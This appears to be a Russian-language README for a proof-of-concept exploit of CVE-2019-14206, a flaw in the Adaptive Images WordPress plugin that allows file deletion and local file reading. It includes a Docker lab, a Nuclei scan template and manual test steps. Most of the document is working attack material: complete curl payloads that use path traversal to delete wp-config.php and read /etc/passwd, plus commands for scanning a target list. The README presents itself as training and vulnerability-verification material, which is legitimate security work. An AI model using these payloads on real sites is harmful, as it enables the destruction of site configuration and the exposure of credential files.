
Эксплойт доказательства концепции для CVE-2019-14206, демонстрирующий произвольное удаление файлов в плагине Adaptive Images для WordPress. Включает Docker-лабораторию, шаблон Nuclei и сценарии ручного тестирования для обучения и проверки безопасности.
CVE-ID: CVE-2019-14206
Серьёзность: Высокая (CVSS 6.5)
Затронутый плагин: Adaptive Images for WordPress
Затронутые версии: < 0.6.67
Эта уязвимость позволяет удалённому неавторизованному злоумышленнику удалить произвольные файлы на сервере WordPress, используя плагин Adaptive Images.
// Плагин использует ввод пользователя БЕЗ санитизации
$settings = $_REQUEST['adaptive-images-settings'];
// Формирует путь к файлу с параметрами, контролируемыми злоумышленником
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// УДАЛЯЕТ произвольный файл
unlink($cache_file);
# Проверить Nuclei
nuclei --version
# Проверить Bash
bash --version
# Проверить curl
curl --version
# Проверить PHP (опционально)
php --version 2>/dev/null || echo "PHP не доступен (опционально)"
# Если находитесь в директории nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# Или скачайте необходимые файлы
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Проверить, существуют ли файлы
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Запустите полную демонстрацию, которая имитирует всю эксплуатацию:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
Что происходит:
Ожидаемый вывод:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Если Docker запущен
docker-compose up -d
# Если Docker НЕ запущен, используйте симулятор
./docker-test-full.sh
# Среда будет доступна по адресу
# http://localhost:8888
# Проверить, существует ли уязвимый скрипт
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Тест LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Тест удаления файла
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Проверить, удалён ли wp-config.php
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Создать файл с целями
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Базовое сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Детальное сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Сканирование с отладкой (ОБЯЗАТЕЛЬНО для баунти)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Сохранить результаты
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Просмотреть результаты
cat results.txt
# Положительные результаты будут содержать:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Попытаться прочитать /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Попытаться прочитать wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Ожидаемый результат (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Проверить, существует ли wp-config.php ДО
ls -la wp-config.php
# Выполнить эксплойт
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Проверить, удалён ли wp-config.php ПОСЛЕ
ls -la wp-config.php
Ожидаемый результат (удаление файла):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found